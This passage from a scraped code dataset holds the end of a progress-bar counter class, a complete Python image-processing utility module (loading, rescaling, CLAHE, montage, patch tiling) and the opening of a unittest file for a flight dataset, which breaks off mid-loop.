ProgressBarCounter(object):\n \"\"\"\n An individual counter (A progress bar can have multiple counters).\n \"\"\"\n def __init__(self, progress_bar, data=None, title='', remove_when_done=False, total=None):\n self.start_time = datetime.datetime.now()\n self.progress_bar = progress_bar\n self.data = data\n self.current = 0\n self.title = title\n self.remove_when_done = remove_when_done\n self.done = False\n\n if total is None:\n self.total = len(data)\n else:\n self.total = total\n\n def __iter__(self):\n try:\n for item in self.data:\n self.current += 1\n self.progress_bar.invalidate()\n yield item\n finally:\n self.done = True\n\n if self.remove_when_done:\n self.progress_bar.counters.remove(self)\n\n @property\n def percentage(self):\n return self.current * 100 / max(self.total, 1)\n\n @property\n def time_elapsed(self):\n \"\"\"\n return how much time has been elapsed since the start.\n \"\"\"\n return datetime.datetime.now() - self.start_time\n\n @property\n def eta(self):\n \"\"\"\n Timedelta representing the ETA.\n \"\"\"\n return self.time_elapsed / self.percentage * (100 - self.percentage)\n\n","sub_path":"rice/deps/prompt_toolkit/shortcuts/progress_bar.py","file_name":"progress_bar.py","file_ext":"py","file_size_in_byte":7972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"645244900","text":"import functools\nimport inspect\nfrom itertools import chain, cycle, islice\nfrom math import floor, isinf, isnan\nfrom pathlib import Path, PurePath\nfrom random import shuffle\nfrom typing import Callable, List, Optional, Sequence, Tuple, Union\n\nfrom PIL import Image\nimport cv2\nimport noise\nimport numpy as np\nimport scipy.stats\nimport skimage\nimport tifffile.tifffile as tf\n\nfrom .inc.file_utils.file_utils import get_contents\n\n# TODO\n# 3) automate test-cases (no visuals, just check against values from private\n# data folder, use small, highly-compressed files)\n# 5) add more test-cases to get better coverage\n\n\nPathLike = Union[str, Path, PurePath]\nNumber = Union[int, float]\n\n\ndef _copy(fn) -> Callable:\n @functools.wraps(fn)\n def wrapper(image: np.ndarray, *args, **kwargs) -> np.ndarray:\n kwargs = _update_with_defaults(fn, kwargs)\n # print(kwargs)\n out = image.copy()\n out = fn(out, *args, **kwargs)\n return out\n\n return wrapper\n\n\ndef _as_dtype(dtype) -> Callable:\n def decorator(fn):\n @functools.wraps(fn)\n def wrapper(image, *args, **kwargs):\n kwargs = _update_with_defaults(fn, kwargs)\n assert \"use_signed_negative\" in kwargs\n use_signed_negative = kwargs[\"use_signed_negative\"]\n old_dtype = image.dtype\n out = to_dtype(image, dtype=dtype, negative_in=use_signed_negative)\n out = fn(out, *args, **kwargs)\n # print(type(out))\n out = to_dtype(out, dtype=old_dtype, negative_out=use_signed_negative)\n assert out.dtype == old_dtype\n return out\n\n return wrapper\n\n return decorator\n\n\n@_as_dtype(np.float64)\ndef to_colorspace(\n image: np.ndarray, fromspace: str, tospace: str, use_signed_negative: bool = False\n) -> np.ndarray:\n out = skimage.color.convert_colorspace(\n image, fromspace=fromspace.upper(), tospace=tospace.upper()\n )\n out = _add_channel_dim(out)\n return out\n\n\n@_as_dtype(np.float64)\n@_copy\ndef to_gray(image: np.ndarray, use_signed_negative: bool = False):\n assert _is_image(image)\n if not _is_color(image):\n assert _is_gray(image)\n return image\n\n out = skimage.color.rgb2gray(image)\n out = _add_channel_dim(out)\n\n assert _is_image(out)\n assert _is_gray(out)\n\n return out\n\n\ndef _as_colorspace(space: str, fromspace: str = \"rgb\") -> Callable:\n def decorator(fn):\n @functools.wraps(fn)\n def wrapper(image, *args, **kwargs):\n kwargs.update(_get_default_args(fn))\n assert \"use_signed_negative\" in kwargs\n use_signed_negative = kwargs[\"use_signed_negative\"]\n assert _is_color(image)\n image = to_colorspace(\n image,\n fromspace=fromspace,\n tospace=space,\n use_signed_negative=use_signed_negative,\n )\n image = fn(image, *args, **kwargs)\n image = to_colorspace(\n image,\n fromspace=space,\n tospace=fromspace,\n use_signed_negative=use_signed_negative,\n )\n assert _is_color(image)\n return image\n\n return wrapper\n\n return decorator\n\n\n@_as_dtype(np.float64)\n@_copy\ndef adjust_gamma(\n image: np.ndarray, gamma: float = 1.0, use_signed_negative: bool = False\n) -> np.ndarray:\n \"\"\"\n Adjusts image gamma. Channels are adjusted uniformly.\n\n Inputs:\n 1) image - HWC input image to adjust.\n 2) gamma - Float denoting gamma value of output relative to input gamma of\n 1.0\n 3) use_signed_negative - Consider negative values in signed input types.\n\n Output:\n 1) Grayscale or RGB ND input image with adjusted gamma.\n \"\"\"\n assert _is_image(image)\n assert _is_gray(image) or _is_color(image)\n\n image = image ** (1.0 / gamma)\n\n assert _is_image(image)\n assert _is_gray(image) or _is_color(image)\n\n return image\n\n\n@_copy\ndef clahe(\n image,\n clip_limit: float = 0.01,\n tile_size: Tuple[int, int] = (8, 8),\n use_signed_negative: bool = False,\n):\n \"\"\"\n Applies CLAHE equalization to input image. Works on color images by\n converting to Lab space, performing clahe on the L channel, and converting\n back to RGB. Note that the underlying image type used in the clahe process\n is uint16 which may create a narrowing conversion for some input dtypes.\n Returns the same dtype as input.\n\n Inputs:\n 1) image - HWC input image to adjust.\n 2) tile_size - 2-tuple integer size of tiles to perform clahe on.\n 3) use_signed_negative - Consider negative values in signed input types.\n\n Output:\n 1) HWC image of same dtype as input image.\n \"\"\"\n assert _is_image(image)\n if _is_color(image):\n out = _clahe_rgb(\n image,\n clip_limit=clip_limit,\n tile_size=tile_size,\n use_signed_negative=use_signed_negative,\n )\n else:\n out = _clahe_channel(\n image,\n clip_limit=clip_limit,\n tile_size=tile_size,\n use_signed_negative=use_signed_negative,\n )\n assert _is_image(image)\n assert out.shape == image.shape\n\n return out\n\n\n@_copy\ndef consensus(\n stack: np.ndarray, threshold: Optional[Union[str, float, int]] = None\n) -> np.ndarray:\n \"\"\"\n Builds a consensus label image from a stack of label images. If input is\n NHW1 output is HW1, with the same dtype as input. Input channels must be\n one.\n\n Inputs:\n 1) stack - NHW1 stack of images with dtype bool or integer.\n 2) threshold - String, float ratio or integer value\n 1) stack has integer dtype\n 1) \"majority\" - (integer dtype required, default) Finds the mode for each pixel.\n Computationally intensive. It is recommended to only use dtype np.uint8 as input.\n 2) stack has bool dtype\n 1) float - (bool dtype required) Ratio of image stack N in range\n [0.0, 1.0]. Finds pixels where more than the fraction supplied are\n True.\n 2) integer - (bool dtype required) Absolute count of images in stack\n which are True is more than the supplied value.\n\n Output:\n 1) HW1 image with same dtype as input\n \"\"\"\n # print(threshold)\n # print(type(threshold))\n assert _is_stack(stack)\n assert _is_gray(stack)\n\n dtype = stack.dtype\n out = stack.copy()\n assert np.issubdtype(dtype, np.integer) or dtype == np.bool\n if threshold is None:\n if np.issubdtype(dtype, np.integer):\n threshold = \"majority\"\n elif dtype == np.bool:\n threshold = 0.5\n else:\n assert False\n assert isinstance(threshold, (str, float, int))\n if isinstance(threshold, float):\n assert 0.0 <= threshold <= 1.0\n threshold = round(threshold * stack.shape[0])\n if isinstance(threshold, str):\n assert threshold.casefold() == \"majority\"\n assert np.issubdtype(dtype, np.integer)\n elif isinstance(threshold, int):\n assert 0 <= threshold\n else:\n assert False\n\n if threshold == \"majority\":\n out = scipy.stats.mode(out, axis=0, nan_policy=\"omit\")[0]\n out = out[0, ...]\n else:\n out = out.sum(axis=0) > threshold\n out = out.astype(dtype)\n\n assert out.dtype == dtype\n assert _is_image(out)\n assert _is_gray(out)\n\n return out\n\n\ndef generate_circular_fov_mask(shape, fov_radius, offset=(0, 0)):\n \"\"\"\n Generates a circular field of view mask, with the interior of the circle\n included. The circle is assumed to be centered on the image shape.\n \"\"\"\n center = get_center(shape)\n X, Y = np.meshgrid(np.arange(shape[0]) - center[0], np.arange(shape[1]) - center[1])\n R2 = (X - offset[0]) ** 2 + (Y - offset[1]) ** 2\n fov2 = fov_radius ** 2\n mask = R2 <= fov2\n return mask[..., np.newaxis]\n\n\ndef generate_noise(\n shape: Sequence[int],\n offsets: Sequence[Union[float, int]] = None,\n octaves: int = 1,\n dtype=np.uint8,\n):\n \"\"\"\n Generates a grayscale image of Perlin noise. Useful for testing.\n\n Inputs:\n 1) shape - A sequence of two positive integers representing the desired output image size.\n 2) offsets - (default np.random.uniform) A sequence of floats of the same length as shape, allowing choice/random Perlin noise.\n 3) octaves - (default 1) A positive int denoting complexity of Perlin noise.\n 4) dtype - Output dtype\n\n Oututs:\n 1) HW1 image of type dtype\n \"\"\"\n assert len(shape) == 2\n for x in shape:\n assert isinstance(x, int)\n assert 0 < x\n\n assert isinstance(octaves, int)\n assert 0 < octaves\n\n scale = 0.1 * np.array(shape, dtype=np.float64).max()\n if offsets is None:\n offsets = np.random.uniform(-1000 * scale, 1000 * scale, 2, dtype=np.float64)\n\n assert len(offsets) == len(shape)\n for x in offsets:\n assert isinstance(x, (float, int))\n if isinstance(x, int):\n x = float(x)\n assert 0.0 < x\n\n X, Y = np.meshgrid(np.arange(shape[1]), np.arange(shape[0]))\n X = X + offsets[0]\n Y = Y + offsets[1]\n noise_maker = np.vectorize(\n lambda x, y: noise.pnoise2(x / scale, y / scale, octaves=octaves)\n )\n n = noise_maker(X, Y)\n return to_dtype(n, dtype=dtype)\n\n\ndef get_center(shape):\n \"\"\"\n Returns the coordinates of the center point of an image in pixels, rounded\n down.\n \"\"\"\n return [floor(x / 2) for x in shape]\n\n\ndef load(path: PathLike, force_rgb=False):\n \"\"\"\n Loads an image from the supplied path in grayscale or RGB depending on the\n source. If force_rgb is True, the image will be returned with 3 channels. If\n the image has only one channel, then all channels will be identical.\n \"\"\"\n if PurePath(path).suffix.casefold() in (\".tif\", \".tiff\"):\n image = tf.imread(path)\n else:\n image = Image.open(str(path))\n image = np.array(image)\n\n image = _add_channel_dim(image)\n\n # convert redundant rgb to grayscale\n if _is_color(image):\n g_redundant = (image[..., 0] == image[..., 1]).all()\n b_redundant = (image[..., 0] == image[..., 2]).all()\n if (g_redundant and b_redundant) and not force_rgb:\n image = image[..., 0]\n image = image[..., np.newaxis]\n\n if _is_gray(image) and force_rgb:\n image = np.repeat(image, 3, axis=2)\n\n assert image.ndim == 3\n assert _is_gray(image) or _is_color(image)\n return image\n\n\ndef load_images(\n folder, force_rgb=False, ext=None\n) -> Tuple[List[np.array], List[PurePath]]:\n \"\"\"\n Loads a folder of images. If an extension is supplied, only images with that\n extension will be loaded. Also returns the filenames of every loaded image.\n \"\"\"\n image_files = get_contents(folder, ext)\n images = []\n names = []\n for image_file in image_files:\n try:\n image = load(str(image_file), force_rgb=force_rgb)\n except Exception as e:\n print(\"warning while loading image: {:s}\\n{:s}\".format(image_file, str(e)))\n continue\n images.append(image)\n names.append(image_file)\n\n return images, names\n\n\ndef mask_images(images, masks):\n \"\"\"\n Masks out pixels in an image stack based on the masks. There must be either\n one mask, or the same number of images and masks.\n \"\"\"\n if masks.shape[0] == 1:\n masks = np.repeat(masks, images.shape[0], axis=0)\n assert masks.shape[0] == images.shape[0]\n\n masked = images.copy()\n threshold = (masks.max() - masks.min()) / 2.0\n masked[masks <= threshold] = 0\n return masked\n\n\ndef montage(\n images,\n shape=None,\n mode=\"sequential\",\n repeat=False,\n start=0,\n maximum_images=36,\n fill_value=0,\n):\n \"\"\"\n Generates a montage image from an image stack.\n\n shape determines the number of images to tile in each dimension. Must be an\n iterable of length 2 containing positive integers, or a single positive\n float, or None. If a float is provided, that value is assumed to be a\n width-to-height aspect ratio and the shape is computed to best fit that\n aspect ratio. If None is provided, the aspect ratio is set to 1. In both\n latter cases, the montage has tiles at least equal to the number of images\n in the stack if maximum_images is not also set. Default is None.\n\n mode determines how to sample images from the stack. Must be either\n \"sequential\" or \"random\". If \"sequential\", the images are sampled in the\n order they appear in the stack. If \"random\", then the stack order is\n shuffled before sampling. Default is \"sequential\".\n\n repeat determines whether to sample the stack from the start if more images\n are requested than exist in the stack. If repeat is set to False and more\n images are requested than exist, the remaining tiles are filled with zeros,\n i.e. black. Default is False.\n\n start determines the starting index for sampling the stack. Default is 0.\n\n maximum_images determines the limit of images to be sampled from the stack,\n regardless of shape. Default is 36.\n \"\"\"\n # TODO add stitch border width, color\n\n assert images.ndim == 4\n\n image_count = images.shape[0] - start\n if maximum_images is not None:\n image_count = min(maximum_images, image_count)\n\n if shape is None:\n shape = _optimize_shape(image_count)\n elif isinstance(shape, (int, float)):\n shape = _optimize_shape(image_count, width_height_aspect_ratio=shape)\n\n indices = list(range(images.shape[0]))\n\n if mode == \"random\":\n shuffle(images)\n elif mode == \"sequential\":\n pass\n else:\n assert False\n\n if repeat:\n iterator = cycle(indices)\n else:\n iterator = chain(indices, cycle([float(\"inf\")]))\n\n stop = int(np.array(shape).prod() + start)\n iterator = islice(iterator, start, stop)\n\n montage = np.stack([_get_image_or_blank(images, i, fill_value) for i in iterator])\n montage = montage.reshape((*shape, *images.shape[1:]))\n\n a, b = _deinterleave(list(range(0, montage.ndim - 1)))\n a, b = list(a), list(b)\n dim_order = (*a, *b, montage.ndim - 1)\n montage = montage.transpose(dim_order)\n\n image_shape = np.array(shape) * np.array(images.shape[1:-1])\n image_shape = np.append(image_shape, images.shape[-1])\n return montage.reshape(image_shape)\n\n\ndef overlay(\n background,\n foreground,\n color,\n alpha=0.5,\n beta=0.5,\n gamma=0.0,\n use_signed_negative: bool = False,\n):\n \"\"\"\n Applies a color to the supplied grayscale foreground and then blends it with\n the background using mixing ratio parameters alpha and beta. Background may\n be RGB or grayscale. Foreground and background may both be either float or\n uint*. Output is RGB with the same dtype as background. Gamma is a constant\n ratio parameter to add to all pixels.\n\n Note that if the sum of alpha, beta and gamma is greater than 1.0, clipping\n can occur.\n\n Note that underlying computation is performed on int32, which may create a\n narrowing conversion. Returned dtype is same as background.\n \"\"\"\n assert _is_image(background)\n assert _is_gray(background) or _is_color(background)\n assert _is_image(foreground)\n assert _is_gray(foreground)\n assert len(color) == 3\n for c in color:\n assert 0.0 <= c <= 1.0\n\n dtype = background.dtype\n background = background.copy()\n background = to_dtype(background, dtype=np.int32, negative_in=use_signed_negative)\n if _is_gray(background):\n background = gray_to_color(background, color=[1.0, 1.0, 1.0])\n\n foreground = foreground.copy()\n foreground = to_dtype(foreground, dtype=np.int32, negative_in=use_signed_negative)\n foreground = gray_to_color(foreground, color=color)\n\n out = cv2.addWeighted(\n src1=foreground, src2=background, alpha=alpha, beta=beta, gamma=gamma\n )\n out = to_dtype(out, dtype=dtype, negative_out=use_signed_negative)\n\n return out\n\n\n@_as_dtype(np.float64)\n@_copy\ndef gray_to_color(\n image: np.ndarray, color: Sequence[float], use_signed_negative: bool = False\n) -> np.ndarray:\n assert _is_image(image)\n assert _is_gray(image)\n\n assert len(color) == 3\n for c in color:\n assert 0.0 <= c <= 1.0\n\n out = image.squeeze()\n out = skimage.color.gray2rgb(out)\n out = out * np.array(color)\n\n assert _is_image(out)\n assert _is_color(out)\n\n return out\n\n\ndef patchify(image_stack, patch_shape, offset=(0, 0), *args, **kwargs):\n \"\"\"\n Transforms an image stack into a new stack made of tiled patches from images\n of the original stack. The size of the patches is determined by patch_shape.\n If patch_shape does not evenly divide the image shape, the excess is padded\n with zeros, i.e. black.\n\n If there are N images of size X by Y, and patches of size M by N are\n requested, then the resulting stack will have N * ceil(X/M) * ceil(Y/N)\n images. The first ceil(X/M) * ceil(Y/N) patches all come from the first\n image, sampled along X first, then Y.\n\n Returns a tuple consisting of an image stack of patches, the number of\n patches in each dimension, and the padding used. The latter two values are\n used for unpatching.\n\n Inputs:\n\n image_stack: Stack of images of shape NHW or NHWC. Assumed to have 2D\n images.\n\n patch_shape: Spatial shape of patches. All channel information is retained.\n If patch shape is size M by N, then the resulting stack of patches will have\n N * ceil(X/M) * ceil(Y/N) images. Every ceil(X/M) * ceil(Y/N) patches in the\n stack belong to a single image. Patches are sampled along X first, then Y.\n If M divides X and N divides Y, then a non-zero offset will change the\n number of patches.\n\n offset: Offset is the spatial location of the lower-right corner of the\n top-left patch relative to the image origin. Because the patch boundaries\n are periodic, any value greater than patch_shape in any dimension is reduced\n module patch_shape. The value of any pixels outside the image are assigned\n according to arguments for np.pad().\n \"\"\"\n if image_stack.ndim == 3:\n image_stack = image_stack[np.newaxis, ...]\n assert _is_stack(image_stack)\n\n assert len(patch_shape) == 2\n assert len(offset) == 2\n\n offset = [o % p for o, p in zip(offset, patch_shape)]\n\n # determine pre padding\n pre_padding = [((p - o) % p) for o, p in zip(offset, patch_shape)]\n pre_padding = np.append(pre_padding, 0)\n pre_padding = np.insert(pre_padding, 0, 0)\n # compute post padding from whatever is left\n pre_image_shape = [\n s + pre for s, pre in zip(image_stack.shape[1:-1], pre_padding[1:-1])\n ]\n post_padding = patch_shape - np.remainder(pre_image_shape, patch_shape)\n post_padding = np.append(post_padding, 0)\n post_padding = np.insert(post_padding, 0, 0)\n padding = list(zip(pre_padding, post_padding))\n padded = np.pad(image_stack, padding, *args, **kwargs)\n out_padding = padding[1:-1]\n\n patch_shape = np.array(patch_shape)\n patch_counts = np.array([x // y for x, y in zip(padded.shape[1:-1], patch_shape)])\n patches_shape = _interleave(patch_counts, patch_shape)\n patches_shape = np.append(patches_shape, image_stack.shape[-1])\n patches_shape = np.insert(patches_shape, 0, -1)\n patches = padded.reshape(patches_shape)\n\n dim_order = _deinterleave(range(1, patches.ndim - 1))\n dim_order = np.append(dim_order, patches.ndim - 1)\n dim_order = np.insert(dim_order, 0, 0)\n patches = patches.transpose(dim_order)\n\n stacked_shape = (-1, *patch_shape, image_stack.shape[-1])\n patches = patches.reshape(stacked_shape)\n\n return patches, patch_counts, out_padding\n\n\ndef rescale(\n image: np.ndarray,\n out_range: Optional[Tuple[Optional[Number], Optional[Number]]] = None,\n in_range: Optional[Tuple[Optional[Number], Optional[Number]]] = None,\n clip: bool = False,\n dtype=None,\n negative_allowed_out: bool = False,\n) -> np.ndarray:\n \"\"\"\n Rescales image values from in_range to out_range. Note that in_range and\n out_range need not have any relation to the underlying dtypes or each other.\n This means, for example, that a uint8 image can have values from 0-127\n scaled out to 0-255, washing out values 128-255. An optionally supplied\n dtype may be used to change the dtype. The function uses np.float64 as a\n common language. All scaling is performed linearly.\n\n If a dtype is supplied, the output image will have that dtype.\n\n If clip is set to True, the resulting image values are clipped to the\n narrower of out_range or the limits of the output dtype. Naturally, values\n are always clipped to the limits of the output dtype.\n\n Default behavior is to scale the image values to the full range of the\n output dtype. Default output dtype is the input dtype.\n\n Inputs:\n 1) image - 2D image whose values will be rescaled.\n 2) out_range - (optional) Range of values that in_range is mapped to. Default is range\n of output dtype. See below for more information on allowed values.\n 3) in_range - (optional) Range of values to map to out_range. Default is range of\n values in image. See below for more information on allowed values.\n 4) clip - clips values to narrower of out_range and dtype range if True. Default is False\n 5) dtype - (optional) Output will have this dtype. May cause narrowing\n conversion if care is not taken with in_range/out_range relationship.\n 6) negative_allowed_out - If True, instead of zero, uses negative minimum in\n default range for signed integer output dtypes. Default is False.\n\n Allowed values of *_range inputs:\n 1) If *_range is None, the default range is used.\n 2) If *_range is a tuple with at least one: None; (-/+)inf; or NaN; the\n default range min or max is used for 1st and 2nd tuple position,\n respectively of (-/+).\n 3) First tuple value of range (minimum) must be less than or equal to second\n tuple value (maximum).\n 4) If minimum and maximum are equal then the image is returned unchanged.\n 5) Ranges of dtypes are full width for integral types and [0.0, 1.0] for\n floating types.\n \"\"\"\n if dtype is None:\n dtype = image.dtype\n assert dtype is not None\n\n image = image.copy().astype(np.float64)\n\n # IN RANGE\n if in_range is None:\n in_range = (None, None)\n\n in_lo = in_range[0]\n if in_lo is None or in_lo == float(\"-inf\") or isnan(in_lo):\n in_lo = np.nanmin(image)\n assert not isinf(in_lo) and not isnan(in_lo) and in_lo is not None\n\n in_hi = in_range[1]\n if in_hi is None or in_hi == float(\"+inf\") or isnan(in_hi):\n in_hi = np.nanmax(image)\n assert not isinf(in_hi) and not isnan(in_hi) and in_hi is not None\n\n assert in_lo <= in_hi\n in_range = (in_lo, in_hi)\n\n # OUT RANGE\n if out_range is None:\n out_range = (None, None)\n\n out_lo = out_range[0]\n if out_lo is None or out_lo == float(\"-inf\") or isnan(out_lo):\n out_lo = _get_dtype_range(dtype, allow_negative=negative_allowed_out)[0]\n assert not isinf(in_lo) and not isnan(in_lo) and in_lo is not None\n\n out_hi = out_range[1]\n if out_hi is None or out_hi == float(\"+inf\") or isnan(out_hi):\n out_hi = _get_dtype_range(dtype, allow_negative=negative_allowed_out)[1]\n assert not isinf(out_hi) and not isnan(out_hi) and out_hi is not None\n\n assert out_lo <= out_hi\n out_range = (out_lo, out_hi)\n\n if in_range[0] == in_range[1] or out_range[0] == out_range[1]:\n out = image\n else:\n med = (image - in_range[0]) / (in_range[1] - in_range[0])\n out = med * (out_range[1] - out_range[0]) + out_range[0]\n\n if clip:\n out = np.clip(out, out_range[0], out_range[1])\n\n return out.astype(dtype)\n\n\ndef resize(image, method=\"linear\", size=None, scale=1.0):\n \"\"\"\n Resizes image to a specific size or by a scaling factor using supplied method.\n\n Inputs:\n 1) image - 2D image to resize\n 2) method - one of:\n 1) nearest - resized pixel will be nearest neighbor pixel from original image\n 2) linear - (default) bilinear interpolation\n 3) cubic - bicubic interpolation\n 4) area - resample by pixel area relation, moire free for image shrinking, not suitable for image growing\n 5) lanczos4 - 8x8 lanczos interpolation\n 6) nearest_exact - bit exact nearest neighbor interpolation, same as PIL, scikit-image, MATLAB\n 7) linear_exact - bit exact bilinear interpolation\n \"\"\"\n METHODS = {\n \"nearest\": cv2.INTER_NEAREST,\n \"linear\": cv2.INTER_LINEAR,\n \"cubic\": cv2.INTER_CUBIC,\n \"area\": cv2.INTER_AREA,\n \"lanczos4\": cv2.INTER_LANCZOS4,\n \"linear_exact\": cv2.INTER_LINEAR_EXACT,\n }\n assert method in METHODS\n\n if size is None:\n if isinstance(scale, float):\n scale = (scale, scale)\n assert isinstance(scale, tuple)\n assert len(scale) == 2\n assert isinstance(scale[0], float)\n assert isinstance(scale[1], float)\n\n out = cv2.resize(image, (0, 0), None, scale[0], scale[1], METHODS[method])\n elif scale is None:\n assert isinstance(size, tuple)\n assert len(size) == 2\n assert isinstance(size[0], int)\n assert isinstance(size[1], int)\n\n out = cv2.resize(image, size)\n elif scale is None and size is None:\n assert False\n else:\n assert False\n return out\n\n\ndef save(image, path: PathLike, dtype=None):\n \"\"\"\n Saves an image to disk at the location specified by path.\n \"\"\"\n image = image.copy()\n if dtype is not None:\n image = to_dtype(image, dtype=dtype)\n if image.shape[-1] == 1:\n image = image.squeeze(axis=-1)\n if PurePath(path).suffix.casefold() in (\".tif\", \".tiff\"):\n image = tf.imwrite(path, data=image)\n else:\n im = Image.fromarray(image)\n im.save(str(path))\n\n\ndef save_images(paths, image_stack):\n \"\"\"\n Saves an image stack to disk as individual images using save() with index\n appended to the supplied file name, joined by delimiter.\n\n paths is the file paths for images to be written.\n\n images is a Numpy array whose shape is of the form (NHWC) where N is the\n number of images, HW are spatial dimensions, and C are the channels. N may\n be any positive number, H and W may be any positive numbers, and C must be\n 1 or 3.\n \"\"\"\n assert _is_stack(image_stack)\n assert len(paths) == len(image_stack)\n for path, image in zip(paths, image_stack):\n save(image=image, path=path)\n\n\ndef show(image, tag=\"UNLABELED_WINDOW\"):\n \"\"\"\n Displays an image in a new window labeled with tag.\n \"\"\"\n assert image.ndim in (2, 3)\n if image.ndim == 3:\n assert _is_gray(image) or _is_color(image)\n\n cv2.namedWindow(tag, cv2.WINDOW_NORMAL)\n cv2.resizeWindow(tag, image.shape[0:2][::-1])\n if _is_color(image):\n image = image[..., ::-1]\n cv2.imshow(tag, image)\n cv2.waitKey(1)\n\n\ndef stack(images):\n \"\"\"\n Converts a single image or an iterable of images to an image stack. An image\n stack is a numpy array whose first dimension is the image index.\n \"\"\"\n if type(images) is np.ndarray:\n images = (images,)\n images = [image[..., np.newaxis] if image.ndim == 2 else image for image in images]\n return np.stack(images)\n\n\ndef standardize(images):\n \"\"\"\n Standardizes an (N+1)-D block of N-D images by the usual method, i.e.\n (x-u)/s.\n\n This function is intended to be used just before application of a machine\n learning model, or for training such a model. There is no guarantee the\n output will be in the usual (0.0, 1.0) range.\n \"\"\"\n s = np.std(images)\n u = np.mean(images)\n standardized = (images - u) / s\n return standardized\n\n\ndef to_dtype(\n image: np.ndarray, dtype, negative_in: bool = False, negative_out: bool = False\n) -> np.ndarray:\n \"\"\"\n Converts image to desired dtype by rescaling input dtype value range into\n output dtype value range. If negative_* is True, the range [dtype_min,\n dtype_max] is used for signed integer types, otherwise [0, dtype_max] is\n used. Allowed dtypes include any subdtype of np.integer or np.floating.\n\n Inputs:\n 1) image - 2D image to convert to dtype.\n 2) dtype - Desired output dtype.\n 3) negative_in - (bool) Use full signed integer range for input dtype.\n Default is False.\n 4) negative_out - (bool) Use full signed integer range for output dtype.\n Default is False.\n\n IMPORTANT: For single-channel images, most file formats only support\n unsigned integer types. TIFF allow signed integer types. For multi-channel\n images, most file formats only uint8 images.\n \"\"\"\n in_range = _get_dtype_range(image.dtype, allow_negative=negative_in)\n out_range = _get_dtype_range(dtype, allow_negative=negative_out)\n return rescale(image, out_range=out_range, in_range=in_range, dtype=dtype)\n\n\ndef unpatchify(patches, patch_counts, padding):\n \"\"\"\n Inverse of patchify(). Transforms an image stack of patches produced using\n patchify() back into an image stack of the same shape as the original\n images. Requires the patch_count and padding returned by patchify().\n \"\"\"\n chunk_len = np.array(patch_counts).prod()\n base_shape = np.array(patch_counts) * np.array(patches.shape[1:-1])\n image_shape = np.append(base_shape, patches.shape[-1])\n image_count = patches.shape[0] // chunk_len\n chunk_shape = (*patch_counts, *patches.shape[1:])\n images = []\n for i in range(image_count):\n chunk = patches[i * chunk_len : (i + 1) * chunk_len]\n chunk = np.reshape(chunk, chunk_shape)\n chunk = np.transpose(chunk, (0, 2, 1, 3, 4))\n images.append(np.reshape(chunk, image_shape))\n images = np.stack(images)\n padding = list(zip(*padding))\n pre_padding = padding[0]\n post_padding = padding[1]\n space_shape = [\n base - pre - post\n for base, pre, post in zip(base_shape, pre_padding, post_padding)\n ]\n # space_shape = base_shape - padding\n slices = [slice(pre, pre + x) for pre, x in zip(pre_padding, space_shape)]\n slices.append(slice(None))\n slices.insert(0, slice(None))\n images = images[tuple(slices)]\n return images\n\n\ndef _deinterleave(c):\n \"\"\"\n Separates two interleaved sequences into a tuple of two sequences of the\n same type.\n \"\"\"\n a = c[0::2]\n b = c[1::2]\n return a, b\n\n\ndef _get_dtype_range(dtype, allow_negative=False):\n if np.issubdtype(dtype, np.integer):\n ii = np.iinfo(dtype)\n if not allow_negative and np.issubdtype(dtype, np.signedinteger):\n value = (0, ii.max)\n else:\n value = (ii.min, ii.max)\n elif np.issubdtype(dtype, np.floating):\n value = (0.0, 1.0)\n elif dtype == np.bool:\n value = (False, True)\n else:\n raise TypeError(\"supplied dtype is unsupported: {:s}\".format(str(dtype)))\n return value\n\n\ndef _get_image_or_blank(images, index, fill_value=0):\n try:\n return images[index]\n except Exception as e:\n return np.zeros(images.shape[1:], dtype=images.dtype) + fill_value\n\n\ndef _interleave(a, b):\n \"\"\"\n Interleaves two sequences of the same type into a single sequence.\n \"\"\"\n c = np.empty((a.size + b.size), dtype=a.dtype)\n c[0::2] = a\n c[1::2] = b\n return c\n\n\ndef _is_color(image: np.ndarray) -> bool:\n if image.ndim == 3:\n is_rgb = image.shape[-1] == 3\n else:\n is_rgb = False\n return is_rgb\n\n\ndef _is_gray(image: np.ndarray) -> bool:\n if image.ndim > 2:\n is_gray = image.shape[-1] == 1\n else:\n is_gray = False\n return is_gray\n\n\ndef _optimize_shape(count, width_height_aspect_ratio=1.0):\n \"\"\"\n Computes the optimal X by Y shape of count objects given a desired\n width-to-height aspect ratio.\n \"\"\"\n N = count\n W = np.arange(1, N).astype(np.uint32)\n H = np.ceil(N / W).astype(np.uint32)\n closest = np.argmin(np.abs((W / H) - width_height_aspect_ratio))\n return H[closest], W[closest]\n\n\ndef _add_channel_dim(image: np.ndarray) -> np.ndarray:\n if image.ndim == 2:\n image = image[..., np.newaxis]\n return image\n\n\ndef _is_stack(image):\n return image.ndim == 4\n\n\ndef _is_image(image):\n return image.ndim == 3\n\n\n@_as_colorspace(\"hsv\")\ndef _clahe_rgb(image, *args, **kwargs):\n assert _is_color(image)\n out = _add_channel_dim(image[..., -1])\n out = _clahe_channel(out, *args, **kwargs)\n image[..., -1] = out[..., -1]\n assert _is_color(image)\n\n return image\n\n\n@_as_dtype(np.uint16)\ndef _clahe_channel(\n image,\n clip_limit: float,\n tile_size: Tuple[int, int],\n use_signed_negative: bool = False,\n):\n assert _is_gray(image)\n clahe = cv2.createCLAHE(clipLimit=clip_limit, tileGridSize=tile_size)\n out = clahe.apply(image)\n out = _add_channel_dim(out)\n assert _is_gray(out)\n\n return out\n\n\ndef _get_default_args(func):\n signature = inspect.signature(func)\n return {\n k: v.default\n for k, v in signature.parameters.items()\n if v.default is not inspect.Parameter.empty\n }\n\n\ndef _update_with_defaults(fn: Callable, kwargs: dict) -> dict:\n for k, v in _get_default_args(fn).items():\n if k not in kwargs:\n kwargs[k] = v\n return kwargs\n","sub_path":"lib/python_image_utilities/image_util.py","file_name":"image_util.py","file_ext":"py","file_size_in_byte":33435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"316094565","text":"import unittest\n\nimport sys, os\nsys.path.append(os.path.realpath(\"..\"))\n\nclass DictDatasetTest(unittest.TestCase):\n\n def test_cities(self):\n from src.datasets import DictDataset\n d = DictDataset()\n d.load_data('../input/3_airports_backtrace.csv')\n\n self.assertTrue(\"PRG\" in d.cities )\n self.assertTrue(\"TXL\" in d.cities )\n self.assertTrue(\"TXL\" in d.cities )\n\n def test_num_flights(self):\n from src.datasets import DictDataset\n d = DictDataset()\n d.load_data('../input/3_airports_backtrace.csv')\n \n count = 0\n for ap in d.dataset:\n for day in d.dataset[ap]:\n for flight in 